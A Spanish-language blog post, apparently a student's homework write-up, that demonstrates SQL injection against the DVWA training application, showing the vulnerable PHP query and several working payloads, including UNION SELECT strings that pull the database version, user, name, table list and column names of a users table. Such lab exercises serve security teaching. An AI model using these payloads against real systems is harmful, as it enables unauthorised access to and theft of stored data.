domingo, 4 de octubre de 2015

Tarea 5

Seguimos las instrucciones del ejercicio e instalamos la máquina virtual con el DVWA:

Una vez hecho probamos las diferentes técnicas de SQL injection. El código fuente PHP pone algo así como esto:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Por tanto podemos utilizar técnicas de SQL Injection en él. Por ejemplo:

%' or '0'='0 

haría que la query fuera:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

O sea, mostraría los campos first_name y last_name de todos los usuarios:

Si usamos un SQL injection con:

%' or 0=0 union select null, version() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) la version del S.O:

La razón de poner "null" es que siempre tiene que haber dos campos (en este caso).

Si usamos un SQL injection con:

%' or 0=0 union select null, user() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el usuario con el que se ejecuta la base de datos:

Si usamos un SQL injection con:

%' or 0=0 union select null, database() #

Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el nombre de la base de datos:

A partir de aqui comienza lo que se nos pide en la tarea:

%' and 1=0 union select null, table_name from information_schema.tables #

Nos muestra todas las tablas del "information_schema". Aqui ya no muestra los first name y last name (para quitarnos paja), gracias al 'and 1=0')

Con la sentencia:

%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

Nos muestra todas las tablas que comienzan por "user":

Por ultimo, con algo como esto:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

Usando concat, podemos mostrar más de dos campos de cada vez:

No hay comentarios:

Publicar un comentario